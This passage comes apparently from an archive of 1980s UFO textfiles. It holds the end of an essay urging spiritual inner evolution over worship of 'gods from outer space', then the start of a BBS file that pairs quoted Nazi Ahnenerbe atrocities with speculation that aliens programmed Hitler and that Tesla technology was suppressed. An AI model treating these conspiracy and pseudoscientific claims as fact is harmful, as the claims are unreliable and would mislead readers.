ear war, to malevolent, such as the abduction of Whitley Strieber, who told in his bestseller, Communion, of being captured, brain-probed wi
th needles, anally examined with a rough instrument and having his memory altered.
What is the meaning of all this for humanity? In a comprehensive and recent two-volume bibliography entitled UFOs and the Extraterrestrial
Contact Movement, George M. Eberhart surveys the literature on UFOs and alleged contacts with ETs. It is significant that Eberhart describ
es the extraterrestrial contact phenomenon as a "movement." That movement is widespread, albeit unorganized. It goes far beyond mere publi
c interest in flying saucers. In its deepest aspect, it represents a flowering of the human quest for God and growth to higher consciousnes
s. There are many groups founded on the ET/MT-contact premise, often centering around a charismatic figure who claims to be in contact with
UFO occupants and to have regular telepathic links with space or hyperspace. These groups range from membership societies such as the Unar
ius Society (Escondido, California) and Mark-Age of Miami, (Florida) to communal/extended family situations such as that around David Michae
l the Cosmic Messiah (Berkeley, California) and "The Two" who preached a gospel called Human Individual Metamorphosis that promised follower
s would be removed from the planet by a flying saucer. All these groups extol the virtue of their unseen communicators and claim they have
a mighty revelation to offer for the benefit of humanity. Many of them regard extraterrestrials and metaterrestrials as "gods from outer sp
ace." And many of them, such as "The Two," offer a program or prescription for higher human development and extension of human consciousnes
s to godlike conditions if we will submit to "the gods."
But while their appeals to join the movement may be intriguing and enticing, remember that fools rush in where at least one form of ET/MT l
ife--angels--fears to tread. The movement's appeal needs close and careful consideration. My purpose in the rest of this essay, therefore,
is to offer a cautionary comment about the proper attitude toward UFOs and ET/MT contact.
FROM OUTER SPACE TO INNER SPACE
First, consider the most intriguing aspect of the UFO experience: the convergence of psychology and physics. As the study of inner and ou
ter space merges, consciousness becomes the key to understanding the situation. The UFO phenomenon actually leads us to still-larger questi
ons. It is not enough to ask what are they, where they come from and what they want. Our ultimate questions concern cosmology and ontology
: what is reality and how can we know it?
These questions bring us slowly but surely to the realization that only by understanding the essence of ourselves can we understand the nat
ure and structure of the cosmos, including the UFO phenomenon. It is a paradox recognized in all major religions, psychotechnologies and sa
cred lifeways that the deeper you look inside yourself, the more universal you become. Scientific and spiritual traditions--the objective a
nd subjective aspects of our attempt to know reality--converge to reveal levels of consciousness far beyond what we ordinarily take for the
limits of our awareness.
Conceptualizing these higher dimensions is difficult. Recent models of the cosmos by physicists, paraphysicists and parapsychologists are
resorting more and more to the esoteric, heremetic, metaphysical and occult traditions, which claim to have long been aware of other aspects
of reality other than the physical-material. These traditions use terms such as the astral plane, the etheric plane, the plane of Mind and
so forth to denote hyperspaces--other space-time frameworks, other sets of dimensions-- interpenetrating our own.
Where are these hyperspaces? All sources agree: they are within us, even while they seem to be outside; and at the same time, they are ou
tside (our physical bodies), even though we arrive there by going within.
The cosmos, then, may be conceived as having different but interpentrating planes of existence which are space-time frameworks in their own
right. The higher planes are the native realms of angels, spirit guides, ascended masters and other evolutionarily advanced beings reporte
d throughout history as interacting with humanity to guide and protect us.
Protect us from what? Malevolent inhabitants of other planes. Outside the physical plane we humans inhabit is not all sweetness and light
, according to these traditions. There are said to be objectively real but invisible intelligences that seek to penetrate human psyches in
order to stop our evolution and enslave us to their will. It is said that these malign entities can and do sometimes materialize into our p
lane of existence in various alluring ways to entice us off the spiritual path.
As a person evolves in consciousness and expands awareness, he passes through these different levels enroute to the highest state of consci
ousness, cosmic consciousness. Those levels, in Christian theology, are termed "the heavens." In Hindu and Buddhist thought, they are call
ed "lokas." Though the terminology differs from culture to culture, the underlying unity of experience cannot be mistaken. Each level is s
aid to have beings--presumably organized into some social structure--capable of materializing into other levels. As a person moves into tho
se spaces through whatever spiritual discipline he practices to purify his consciousness and develop organs of higher perception, the bounda
ry between "inner" and "outer" events dissolves and a single, unified view of reality is perceived. This is why there has been unanimity of
reports from "soul travelers" to the highest regions.
And what they report is this: we humans are confused about ultimate reality and our true identity. Both are something far greater than we
ordinarily think and both are actually one.
Next consider what this means for human happiness and understanding. First, there is a core truth to which we can penetrate--an Ultimate A
nswer which alone gives purpose, meaning and direction to our lives and our search. Second, that truth is accessible to each of us on the b
asis of direct experience, without need for intermediaries. Third, in order to attain that truth, we must ascend in consciousness; we must
personally evolve through our own efforts. And, finally, if many individuals evolve, the result could well be a collective change of societ
y, a transformation of the species, a radical change in human nature.
EVOLUTION BEYOND MAN
As I see things, precisely such a change is now occurring. Evolution has not stopped. A new race--a higher form of humanity--is now emerg
ing on the planet. My reason, research and personal experience lead me to this conclusion. And certainly it is not my conclusion alone. N
ietzsche, Bergson, Teilhard de Chardin, Sri Aurobindo, Gopi Krishna, Oliver Reiser, R. M. Bucke, L. L. Whyte, Jean Houston and others have p
roposed the same idea before me: human beings are also human becomings.
The grand theme of history is the evolution of consciousness--a story of ever-more complex forms of life coming into physical being in orde
r to express more fully the consciousness behind existence itself. As this applies to the current world scene, I maintain, the many threats
to life on this planet created by Homo sapiens' intellect-gone-wild have caused such pressure on nature that the life force--the intelligen
ce governing creation--is mobilizing to resist the irrationality of Man.
How will it resist? Simply by bringing a higher form of life onto the planet--a form which will recognize the laws governing nature and li
ve in accordance with them. The human race as we know it, in all its combative, divisive, exploitative, self-centered inhumanity-to-man, wi
ll go the way of the dinosaur. The widespread signs of world unrest and cultural collapse around us indicate that an historical epoch, a wo
rld age, is ending.
Simultaneously, a great awakening is going on around the globe. It isn't merely a generation gap or a communications gap. A new species i
s awakening to its cosmic calling and is asserting--in the face of the threatening dominant species--its right to live. The planetwide unea
siness and societal upheaval being seen today is fundamentally an expression of people straddling old and new worlds as they try to find out
what species they belong to. The dominant species is ego-oriented, technology-mad and unconsciously bent on self-destruction through its m
aterialistic addictions and their unforeseen effects on the biosphere. The emerging species, on the other hand, is life-embracing. It seek
s to live in harmony, create a unified planetary culture founded on love and wisdom and, as Native Americans say, walk in balance on the Ear
th Mother.
In the course of people's effort to find their true identity, many errors and excesses will occur. The "gods from outer space" concept is
a notable example.
Now, there is nothing inherently implausible about the notion that more highly evolved life forms exist and have contacted us. Exobiology
suggests that life will arise wherever conditions are not simply favorable but merely a little better than totally hostile. Since our sun i
s a relatively young star, there may be older star systems where organisms developed earlier than here and have become the more highly evolv
ed inhabitants of supertechnological civilizations capable of space travel. They may even have come to Earth in UFOs.
THE DANGER OF "GODS FROM OUTER SPACE"
The immediate allure of contact with such civilizations is the possibility of learning from them. Imagine, for example, being given the me
ans to build power sources such as those that propel UFOs. Some alien communications speak of "free energy devices" that tap space itself a
nd could do away with the need for oil, coal, gas and nuclear fuels. This is an exciting visita, promising--on the surface, at least--a new
era of peace and prosperity such as people have dreamed of for millennia. Beneath the surface, however, this is more of the same narrow vi
sion--the unquestioned faith in the power of science and technology to secure human happiness--that is endangering our species at this time.
Thus, inherent in the possibility of ET/MT encounters is a danger we must recognize beyond the mere idea of ferocious killers as expressed
in Aliens. We must recognize this danger if we are ever to truly build a "heaven on earth." For such knowledge as we might obtain from ext
raterrestrial contact still does not give us the most important type of cosmic connection--the type we need to deal with the problems of dai
ly living. Our endless accumulation of scientific facts simply does not add up to wisdom and understanding of the human situation in its co
smic aspect. Every new bit of information, every new answer we get raises a dozen new questions. Gathering scientific data is an endless p
rocess, and unless we are properly grounded in the moral foundations of the universe, we will continue to find new ways of misusing science
so that knowledge only leads to greater unhappiness, as we see most strongly in our present historically unprecedented threat to all life o
n the planet. As Krishnamurti, speaking of our faustian quest, says, "Knowledge is only a part of life, not the totality, and when that par
t assumes all-consuming importance, as it is threatening to do now, then life becomes superficial<61> More knowledge, however wide and cunning
ly put together, will not resolve our human problems; to assume that it will is to invite frustration and misery. Something much more profo
und is needed."
What is needed? A change of consciousness. Only a change in the state of human consciousness will allow us to find the knowledge and wisd
om necessary to survive the threats facing Homo sapiens. For there is a type of knowledge beyond science--beyond even the science of supert
echnological extraterrestrial civilizations--that is nevertheless democratically available to every one of us. It is the core truth, the et
ernal message of all the world's sacred traditions. It is knowledge that anyone can obtain directly from the cosmos, without intermediaries
, without being dependent upon benevolent superior beings, whether they are angelic messengers, Space Brothers, spirit guides, ascended mast
ers, walk-ins, EBEs or whatever. Call it God-knowledge, mystical union, attaining yoga, finding the Tao or achieving enlightenment. These
terms all refer to the same thing: the fundamental apprehension of Cosmic Wholeness transcending any and all parts of creation and its crea
tures. This is the knowledge that gives purpose, direction and fulfillment to our lives by answering the ultimate questions which spiritual
traditions and science alike have tried to answer: Who am I and what is existence all about?
That is not to depreciate the value of whatever wise counsel or technical information humanity may be offered by extraterrestrials or metat
errestrials in the matter of evolving to higher states of being. But in the last analysis, it is up to us to take responsibility for our ow
n growth into higher consciousness. Nobody can do that for us--not through neurosurgery, genetic engineering, chemical implants, hypnosis,
EBE "gardeners" or any other forms of outside intervention such as various theorists are hypothesizing today. What is "out there" cannot sa
ve us. The impulse to grow must come from within as an organic expression of a person's total being.
THE MEANING OF 2001
That is the unanimous advice from sages around the globe throughout history. Deep inside us, not far out in physical space, is the channel
by which we can make the cosmic connection--the one that really counts. A powerful illustration of this is seen at the end of 2001: A Spa
ce Odyssey. The film is a classic for many reasons, but the chief one is its insightful treatment of the grandest theme of all history: th
e evolution of consciousness and the growth of humanity to a godlike state. 2001's "hero" is the astronaut Bowman. His technology-denoting
name symbolizes an intermediate stage of human evolution that is still relatively crude but nevertheless well beyond the ape-man stage with
which the film begins. At the end of the film, we see Bowman traveling on the (symbolically sperm-shaped) spaceship (symbolically) named D
iscovery through the atmosphere of Jupiter, preparing to land and begin searching for the advanced life forms who created the mysterious bla
ck obelisk. This is the famous psychedelic scene in which the audience goes through the streaming colors representing the atmosphere and su
rface of the planet. During the passage, an image of a human eye appears briefly now and then, filling the entire screen so that only the p
upil and iris are seen. This is director-producer Stanley Kubrick's way of saying that the film's explicit journey to outer space is implic
itly a journey to inner space, to the center of the mind. Because as the audience passes through Jupiter's atmosphere, it also passes throu
gh the giant eye into the brain-mind behind it.
And there, in the center of the mind, is an amazing discovery, a startling revelation: we ourselves are the real extraterrestrials for who
m Bowman has been searching. Humanity has gotten so "spaced out," so far from home, so out of touch with the Earth that we have forgotten o
ur origins and lost our roots. We've become alienated--aliens--to ourselves and the planet. And because of that, we are in danger of destr
oying life on the planet, and perhaps even the planet itself, just as some purported messages from space beings warn us.
In that alienated state of consciousness, we are searching for advanced life in the universe--searching for higher consciousness--in outer
space. Now, there undoubtedly are such life forms out there. But it is deep within ourselves, not out in astrophysical space, that the tru
e cosmic connection exists. So long as we have not discovered our own potential for growth and further evolution, we have become terminal--
the dying old man that Bowman is at the film's end. So long as we look for gods from outer space or any kind of saviors "out there," we are
lost and alienated from Truth. But when we "look within" and find the power of consciousness directing our destiny and the destiny of all
creatures, no matter how highly evolved, then we realize paradoxically that we are one with that consciousness, that cosmic intelligence, th
at transcendental reality.
The basic situation facing us today is a crisis of consciousness. Human consciousness is in a disturbed, unstable state and through what c
ould be called "extraterrestrial materialism," many people are making idols of UFOs and extraterrestrial life--false gods from outer space.
But if we are ever to build paradise here, we must first heal ourselves, not rely on surrogate parents from the sky or wish for saviors fro
m beyond the planet.
Depth psychology has shown that a child's parents are his first gods. But growing up, maturing, requires relinquishing that illusion, alon
g with hopes and dreams of invoking magical powers and omnipotent forces to give us our desires and answer all our questions. Instead, we m
ust do the slow, difficult and often painful work of taking responsibility for our own actions and recognizing that if we are presently the
real aliens, we are also potentially the gods we seek.
As the author of 2001, Arthur Clarke, put it in his profound 1953 novel, humanity is near childhood's end. We stand ready to become what C
arl Sagan calls starfolk. We stand ready to join galactic society--through the mature form of the human race, the higher humanity I've desi
gnated Homo noeticus. And that is the meaning of the Star Child floating in space at the end of 2001, silently contemplating the Earth. 20
01 is a mighty cinematic saga of human evolution from an apelike condition to a new stage of transhuman development. Star Child is Kubrick'
s visual symbol of the emergence of a new state of evolution: the development of the coming race--or, as Jesus and the Judaic tradition put
it, the Son of Man, the offspring of humanity. Star Child is a citizen of the cosmos, no longer ego-centered or even Earth-centered, but r
ather is universally centered and cosmically conscious.
That godlike state beckons to us through many manifestations today. Although the manifestations are most often occulted, vague and uncerta
in, the principal one has long been clearly recognized--and revered. I refer to the true spiritual teachers of history--Jesus, Buddha, Kris
hna, Lao Tse, Mohammed, Moses, Zoroaster, Guru Nanak, St. Teresa and other more recent figures such as Sri Aurobindo, The Mother and Da Love
-Ananda. These illuminati, these godmen and godwomen are the people who most clearly demonstrate the future of human evolution. These enli
ghtened ones are forerunners of the "new breed," specimens of an advanced humanity. Their lives have been dedicated to showing those lower
on the ladder of evolution that they have within themselves the potential for self-directed growth to a higher state of being. And none of
them have claimed to be extraterrestrial. They have, however, claimed to be universal, and have said that all others can be also. How? To
quote the Buddha's dying words, ". . . by relying upon themselves only, and not relying upon any external help. . . not looking for assista
nce to anyone besides themselves." Or as Jesus put it, by seeking first the Kingdom of God.
That is why I caution against deluding ourselves with the glamour and mystery of UFOs and ET/MT contact. The two principal reasons for thi
s can be stated thus:
First, the promise of such contact is tantalizing yet beyond our control. We are wholly at the mercy of whoever or whatever is out there,
subject to their whims, unable to communicate except when they want to allow it, and unable the verify the information they give us about th
emselves. We may theorize and hypothesize all we want, but until we have tangible, testable, sufficient data, it is all mere speculation.
And when we do have such data, we may find that some of the nonhuman life forms are truly hostile to human well-being, rather than benevolen
t, just as many abductees' experiences already indicate. The guidance and warnings of sacred traditions and spiritual teachers about this m
atter should not be lightly disregarded. Remember that the Bible describes demons as fallen angels. We must beware of false gods.
The second reason is this: the greatest enemy and the greatest ally we have are still to be found in the depths of our own psyche. The pr
oper attitude toward meetings with starfolk can only be that which we have for human teachers and helpers. We should not disregard whatever
information, guidance and counsel seems to be offered by starfolk for our growth and well-being, but we should always test it carefully rat
her than accept it on blind faith or authoritarian command. When our attitude assumes the character of a master-servant relation or a deity
-worshipper relation, our own evolutionary potential is discarded and our cosmic calling is unheard. Properly understood, however, ET/MT co
ntact has value in the manner that the signs and wonders of Jesus had for the first Christians. They pointed to a still-higher source which
is the creator of us all, and they demonstrated the reality of our own latent ability to become as Jesus was--and even more, as he himself
acknowledged. The UFO experience can do the same thing for our time. We must be aware of True God.
We are rapidly entering the next phase of evolution. But evolution is essentially transcendence, and the source of all transcendence is th
e Transcendental. That is the source of our being, as well as our becoming. Whether our meetings with advanced life forms seem to come fro
m outer space or inner space, we must recognize that they principally reflect to us that which we ourselves shall eventually become, and tha
t all time and space, all worlds and their inhabitants arise from the Transcendental Source whose traditional name is God. Therefore, it is
God alone to whom we should aspire in our search, recognizing that the distant goal of our evolutionary journey is also the fountainhead o
f our existence moment-to-moment along the path, and that what is working itself out in cosmic space and eonic time is, beyond space and tim
e, already so right now.
Paradoxically, our ultimate condition is a present fact: in Reality, there is only God. And rightly understood, EBE stands for "everybody
become enlightened."


975
textfiles.com/ufo/whyww2.ufo Normal file
View File

@@ -0,0 +1,975 @@
File created by Linda Murphy (C) NEXUS June 18, 1989
Another Viewpoint: WHAT STARTED WORLD WAR II? A response to the Fencwick
interview.
In the FENWICK.TXT file, an Interview done by Tom Mickus last year, created
some rather unusual repercusions in the UFO community, Fenwick talks about
Hitler and WW 2. Let's look at a couple of excerpts from the lengthy interview.
1) "We talked about things other than UFOlogy for most of the time. As we left
the property...we were about 35-40 feet away from Bob, and he called out to us.
[and] he made this statement...and we wrote it down in the car, 'What was the
cause of WWII?' He had been told...,the classified information about
programming of Hitler..to cause WW II. And we did an article about the case,
with the exception of that statement. As we thought it didn't fit in."
2) "We also discussed why the aliens view the human's as a "failed experiment".
3) "When referring to the programming of Hitler by the EBE's, which in effect
caused WW II (the decision of one man)...."
This, to this individual was a very deep statement -- and it was literally
glossed over, and I believe very few really looked at in in any great depth.
Why? Because it appeared to be so "off the wall". At certain intervals durring
the interveiw, Fenwick is having a difficult time attempting to express the
situation as he perceives it. My first impulse, prior to even being involved
with ParaNet was to get down to the heart of the matter, and challenge Fenwick
in the claims he made. But I didn't (Tom's board went down). Although his
interview seems so highly "unusual", I have perceived some things in the
interview which play a major undercurrent in the entire UFO scenario. There are
constant dredgings of the Hitler programming theme followed with various
religious implications. Yet nobody has offered to look directly into the
motivation behind Hitler, and the belief systems which pushed Hitler and other
Europeans onward.
In order to gain any benefit from this file, although their may be
mentionings of many things such as Judeo/Christians, Aryans, Nazi's, it is
important to view these things as a motivational factor which drive men to do
the things they do. There are tendencies towards "blind acceptance". The word
"acceptance" itself is indicative of belief. However, "understanding" indicates
knowledge of the mechanisms behind things. All of us, who are interested in
the phenomena itself, are trying to come to an understanding... As we attempt
to understand, we are then forced to look at things from various angles. This
file is not the sum total of angles, and is only offered in an attempt to
present a small facet of the phenomena itself.
Let's examine some interesting things about the Third Reich from non UFO
Sources --- and then ask ourselves, again, "WHAT Started World War II?"
"The Nazi Doctors: Medical Killing and the Psychology of Genocide"
by Robert J. Lifton (C) 1986
Extreme rumors spread through the camp about Block 10. Prisoners considered it
a "sinister place" of mysterious evil. There were widespread rumors that
Clauberg was conducting experiments in artificial insemination, and women were
terrified of having "monsters" implanted in their wombs. Some suriviors I spoke
to believed that those experiments actually occured. Another account had
Clauberg speaking of his intentions to carry out artificial-insemination
experiments in the future. There were also rumors of a "museum" on Block 10:
"Skulls, body parts, even mummies"; and one survivor insisted, "A friend...saw
... our Gymnasium [high school] teacher stuffed [mummified] on Block 10."
Again, anything was possible, and whatever occured there was likely to be a
manifestation of the Nazi racial claim.
-- page 271
* Himmler's vision had varying gradations of abusrdity and pesudo science. For
instance, he was an ardent believer (as were Hitler and Goring) in such
expressions of mystical racism as the idea that the lost continent of Atlantis
had been the original homeland of the Aryans, and that Aryans had not evolved
from monkeys or apes like the rest of mankind but had descended to earth from
the heavens where they had been preserved in ice from the beginning of time.
Himmler, in fact, in 1937 established a meteorological division in the
Ahnenerbe (see pages 284-87) to "prove" his "cosmic-ice" theory, though
publicly the purpose of the new division was announced as developing new
techniques for long-range weather preidiction. Sympathetic to nature healing
and equally ardent critic of traditionalism and "Christian" prejudices of
establishment doctors, he could view human experimentation in concentration
camps as a form of liberation from these constraints in the name of bold
scientific innovation.
-- footnote Page 279
AHNENERBE (pages 284-87)
Anthropological Research: Specimens for a Museum
Block 10 played an important part in a form of "anthropological research"
that was among the most grotesque expressions of the Nazi biomedical vision.
Dr. Marie L. tells of its Aushchwitz beginnings:
"There appeared [on block 10] a new protagonist of racial theories. He chose
his material by having naked women of all ages file ... in front of him. He
wanted to do anthropological measurements ... He had measurements of all the
parts of the body taken ad infinitum ... They were told that they had the
extraordinary good fortune to be selected, that they would leave Auscheitz to
go to an excellent camp, somewhere n Germany ... [where] they would be very
well treated, where they would be happy."
Dr. L. had seen enough of Auschwitz to suspect the terrible truth ("I told
myself immediately,..."They are going to a museum'"), though she and others
refrained from saying so because they "lacked the courage", felt it would be
more kind to remain silent, and could not in any case be certain of their
suspicion.
These women were taken to the concentration camp at Natzweiler, near
Strasbourg, which although not designated as an extermination camp, nonetheless
possessed its own gas chamber with the usual false showerheads as well as one
additional feature: a one-way mirror that allowed those on the outside of the
gas chamber to observe those inside. This mirror had been installed because
the gas chamber itself had been constructed as part of the necessary research
equipment.
A prisoner doctor reported that the group of Auschwitz women (thirty - nine
of them according to their records) were given a sham phsycial examination for
reassurance, then gassed, and then the corpses were immediately transported to
the anatomy pavilion of the Strasbourg University Hospital. A French inmate,
who had to assist the project's director, SS Captain Dr. August Hirt, told how
"preservation began immediately" with the arrival of bodies that were "still
warm, the eye ... wide open and shining." There were two subsequent shipments
of men, from each of whom the left testicle had been removed and sent to Hirt's
anatomy lab.
Hirt, a professor of anatomy, had under Himmler's instructions prepared the
cyanide salts used to kill the Auschwitz prisoners in what was the inaugrural
use of the new gas chamber. He had originally advocated in a memo to Himmler
the securing of skulls of captured "Jewish-Bolshevik commissars." The goal at
that time was to "acquire tangible scientific research material" that would
"represent ... a repulsive but typical speices of subhumanity." The memo
recommended that a "junior phsycician attatched to the Wehrmacht" first take
photographs and perform various measurements and studies on subjects while
still alive, make sure that the head is not damaged in the killing, and then
take other specific measures for preserving the head and shipping it to the
designated research institute where various studies could be performed on the
skull and brain including those of "racial classification" and "pathological
features of the skull formation." In locating two ultimate evils (Jewish and
Bolshevik) in members of that group, and anticipating specific anatomical
findings in their skulls or brains, the Nazis were acting upon the most extreme
blend of racial-biomedical and political ideology.
But there were apparently difficulties in rounding up "Jewish-Bolshevik
commissars" and possibly in severing heads, so that it was decided to make use
of full skeletons rather than merely skulls and to collect specimens in the
place where any such task could be accomplished -- neamely, Aushwitz. It was
said that 115 people were victimized in this way, all Jews (79 men, 30 women)
with the exception of 2 Poles and 4 Central Asians. The relatively high
priority of the project is suggested by EIchmann's having been involved with
it's arrangements. The whole enterprise, bizarre even by Nazi standards, was
sponsored by the Ahnenerbe ("ancestral heritage") office of the SS, which
Himmler had created in 1939 to develop "historical" and "scientific" studies of
the "Nordic Indo-Germanic race." Ahnenerbe brought mystical concepts to science
("the unity of soul and body, mind and blood') and combined the Gestapo mission
of controlling Germany's intellectual life with Himmler's visionary ideas. It
supported projects in archeology, German racial consciousness outside of
Germany proper, and medical experiments in concentration camps. Under Himmler's
order, Ahnenerbe even came to sponsor a research program making use of Jewish
mathematicians in concentration camps to work out theoretical problems of
rocket production. Experiments in camps that it sponsored included Dr. Sigmund
Rascher's notorious research in Dachau on the effects of high altitude, in
which he wantonly killed experimantal subjects: and the still more murderous
work of Schuler in Buchenwald on typhus vaccines, in which six hundred people
were killed.
Hirt was said to have been brought into the Ahnenerbe by a man who became
his assistant in the Strasbourg project -- Bruno Beger, an SS officer on
Himmler's personal staff who had been sent to study anthropolgy in Berlin.
Beger tended to embrace Himmler's wildest theories, and it was Beger who made
the original arrangements in Auschwitz and perhpas worte under Hirt's name the
extraordinary memo I have just quoted.
A former ardent Nazi, who remembered Hirt as a good friend and colleague
during their days together as young instructors at a leading German medical
center, described him as originally Swiss but a naturalized German, "a Nordic
type with blue eyes and fair hair," an honorable and stable man even if at
times a "bit impulsive," and an excellent anatomist with a promising academic
career. A colleague of my own in the United States, however, who had studied
under Hirt, remembered him as a very arrogant and threatening Nazi. In any
case, there is no dout about either Hirt's passionate Nazi involvement or the
centrality of the Nazi biomedical vision in his participation in the "museum"
project, even if Beger was its driving force. (Pricesly that centrality was
what Hirt's old friend wished to deny in his insisence that Hirt's entire
behavior could be understood as an expression of the callouseness of the
anatomist.)
Toward the end of the war, there was apparently some confusion about
whether and how much to continue with research procedures, and eventually the
evidence was ordered to be destroyed. But that process could not be completed,
and French forces liberating Strasbourg found in Hirt's dissection room "many
wholly unprocessed corpses," many "partly-processed corpses," and a few that
had been "defleshed ... late in 1944," and their heads burned to avoid any
possibility of identification -- with "special care taken to remove the number
tattooed on the left forearm." Hirt himself disappeared at that time and is now
known to have killed himself shortly aferward.
This museum project is remarkable for its merging of Himmler's racial vision
with highly concrete, pseudo-scientific anthropoligical (Beger) and medical
(Hirt) participation -- all a logical outgrowth of the Nazi biological and
political mentality.
---------------------
I ran across this book, just by chance at the local Mall. I happened to just
open the book up to the above chapter dealing with Ananarbe. It rather stuck in
my mind for several various reasons. First of all, the mood generated by the
accounts of what occured at the Museum reminded me of abductee horror stories
about body parts, examinations, genetic experiments.
Also, it appeared that the SS Museum was an inactment at the objective level of
the subjective experience that many abductees report. The "High Strangeness"
brought to a reality, in order to correct a "failed experiment" (inferior
humans, as viewed through the eyes of the Nazis). The "High Strangeness" is
brought out in numerous publications. Whitley Strieber had written about it in
his "Communion". Bud Hopkins utilizes it to demonstrate what he feels, to be
continual contact by alien intelligences. The Lear/Cooper camp creates the
scenarios of alien undergound bases, collection of human specimens,
mutilations, and the governments knowledge of these "secret pacts" and their
desire to hide them from American citizens. Invaribaly, something "spiritual"
always occur to these individuals who have had the experience. Then Fenwick and
prior to him, the JWHITE files were circulated. Check your "local" ParaNet
board for them, if you choose to research into this further.
Does this neccessarily, however, prove that Hitler was programmed by EBE's? If
we think along the lines in which Lear would like us to think, and Fenwick
expands upon, we could almost imagine that our government made a pact with
Lucifer in exchange for technology, and saw the error of their way too late.
The exchange, would be the "souls" of American Citizens, and of course, with a
country which boasts of the Motto "In God We Trust", indeed would merit the
effort to coverup the situation at all costs. It would be rather embarrasing to
admit that a country which has such claims as The United States does, in
regards to it's relationship with it's God, that it could conceivably be so
decieved, as to imagine these "aliens" as being true representatives of God.
However, if one were to look at it from a logical point of view, if there were
to be influence exherted over the world, the United States would be the best
place to "set up reconnaissance" zones, as it does have the resources available
to achieve various ends, along with the afforded "freedoms" to allow the
operation to continue without notice. It would be ironic to discover that
these freedoms could very well be the tool which these "aliens" are utilizing
to gain a good grip in our social structures.
What I find highly interesting about what Fenwick has to say about Hitler, is
the programming of Hitler. Was Hitler programmed? Or could he have been
mesmerized by a belief system that was growing in great proportion durring that
era?
The 1800's had some rather intriguing events in it. Durring that era, fresh
from the termoil the "Middle Ages" spawned, with full emergence from control
over a ruling theocratic organization that did everything within it's power to
bring things under subjection in the "Name of God", politicaly, religiously,
and including the ability to freely exchange knowledge, what occured appears to
be somewhat natural, in regards to the emergance of "Freedom of Speech and
Expression of THoughts". Led to extremes, like children who are suddenly
released from two weeks of being grounded, what resulted? Confusion, chaos,
war, and bloodshed. Anger towards "god" (which in reality was earthly
institutions) Rebellion against this conflict inspired Marx. It also brought
"metaphysics" and "secret societies" more into the open. Men were once again
allowed the freedom to grow in the exchange of information, along with the
development of sciences without fear of being placed under an edict, or drug
before the Inquisitors for heretic behaviour. Many theologens, philosophers and
social psychologist look back upon this era as the "beginning of the end".
Theologins blame philosophy for the degredation of society, yet, on the other
hand, the philosophers blamed the theologins for suppression. These conflicts
continue today, just as they did then. Things have not changed.
In the United States, great religious revivals were spawned. Of these, most
noteably, was Brigham Young who led his followers through the wilderness to
Utah. Durring this era a group of Bible students were waiting for the physical
arrival of the "prophets" of old, (these later became the Jehovah's Witnesses).
The 7th day Adventist Movement begun, and Protestentism begun to flourish,
bringing with it Democracy, and it's economical and political way of life which
transformed the world into what it is today. Durring this era, the occult
explosion hit America, and durring this time, H.P. Blavasky organized the
Theosophical Society. Many could state that this is the beginning, but is it?
To look for absolutes would be an encyclopediac undertaking, and cannot be
achieved within a single file! So we will content ourselves with this era,
since it itself appears to play an important factor in the minds of many who
create the phenomena scenario we are presented with today. From LEAR in the
prelude to his file, to George Hunt Williamson who claimed the "Visitants"
had been attempting to indoctrinate the world to a new way of life since the
1800's. (Road In The Sky (C) 1959 p.246).
The curiosity of the world was limitless, as archeological digs begun, in
efforts to understand many mysteries that could otherwise not be explained. The
pyramids became popular durring that era, the phenomena of the South American
Empires, and the discovery that Europe, Africa, China and India where not the
sum total of what had been at one time great civilizations. Durring all of this
exploration, they discovered many common things which then created more wonder
as to wether or not the things they were led to believe in were actually true.
Old legends led many to wonder, just what occured in the past. Under Blavasky's
funding, a Mr. James Churchwald set out on a quest to discover just what the
"true religion" may have been. From here, tales of Mu, Lamaria, and Atlantis
came to the fore. These inquiries always led to some speculation that the
United States could very well have been the "Motherland" which was laid waiste
due to some ancient catastrophy.
We could, politicaly, and moraly, based upon our own standards, view the system
which motivated Hitler as brutal, barbaric, and uncalled for. Yet, we fail to
see that this very type of religious motivation is the medium which drives
the MidEastern terrorists in vindicating themselves in the name of Allah, their
God. This type of zeal pushed the Inquisitors foreward in mass killings in
order to purge the land of "infidels" -- the psychology of a Jihid is very
powerful and the Islamic Jihid is the very bases for the Dune science fiction
story. The power behind a drug, a belief system, and politics. All drawn into
one event, to drive the hearts of men onward to do deeds in the name of their
god. If we strip away the politics of WW II, and look at the mood of the era
which created the politics, one can wonder, just what started World War II? And
where is the blame? And can we safely assume that Hitler was the single
proginitor of the war? Close examination shows otherwise.
What is very interesting about this point in time in history (1800's), is the
open investigation of mesmerism, along with the rapid advance in electricity.
Durring this era, the usage of drugs was common. Many things were allowed due
to not fully knowing the full consequences of what could happen. These early
efforts could be equaited with irresponsible children playing with things they
ought not to because they didn't understand them. The cause and effect, were
still under investigation. Things were done, just to see what would happen.
Many things were attempted in efforts to understand something. However, this
does not mean that they did not realize the effect --- Durring this time, the
effect would be ignored usually with a motivation in order to understand.
Today, we can think in terms of "mad scientists" doing all kinds of crazy
experiments --- yet, these very things are the price we pay for advancement. We
can say that we owe much to science. A debt. It is, however, a point of view,
as to what this debt is and how it is being paid. The "Mad Scientists" of today
are not the Boris Karloff grade B 1950's type. Today, they could very well be
with us.... in the guise of "National Security", or perhaps "subversive
activists".
Today we have rumors and tales of Telsa, and his radio-magnetic energies.
Today, we have settled for the form of electricity which we use in our homes.
Today, we are being led to believe that Telsa's inventions were ridiculed and
set aside, but there could be another very real possibility in why Telsa's
achievments have never made it very far in the world of consumers. There is a
great possibility that Telsa's discoveries had unusual effects upon the human
mind, and with knowledge of this, kept "under wraps" and never made available
for the consumers of energy and power. We know electromagnetics exist, yet we
also know it is not utilized at the consumer level. My first question is, "What
happened with Telsa technology? And just how widely was it used? Many things
back in this era were utilized to "enhance" occult powers. There is a great
coincidence in the rise of electricity, preoccupation with "magnetics", and the
sudden increase in "occult" powers. Can we state that the "aliens" gave us our
technology? Or is there per chance that we created the situation due to our
technological advances? There is a tendency for all "contact" to be in
accordance with the advances of the decade.
Techno Drugs?
In December 1988 issue of OMNI Magazine, the article entitled "Transending
Science" deals with investigation of the TM experience. One excerpt of the
article which was highly interesting, was Persingers work, in which he created
a helmet, in which a computer was utilized to "contour" the electromagnetic
forces which in turn manipulated the brain wave patterns of the temporal lobes.
With this experiment, he discovered that with little effort, the subjects in
the research could then be, with consistancy, brought into a subjective state
in which they were then experiencing the abductee scene. It also took very
little effort for Persinger to produce a UFO sighting.
To determin the consistancy of this effect, he determined that it was more
readily to occur while the individual was being subjected to the
electromagnetic influence of the helmet. He also discovered that the
participants found the experience highly pleasurable, and they wanted more. He
also found that with very little effort after several sessions, tonal sounds,
or various symbols would then put these subjects into the TM state without any
effort on their part. In other words, Persinger indicated that with
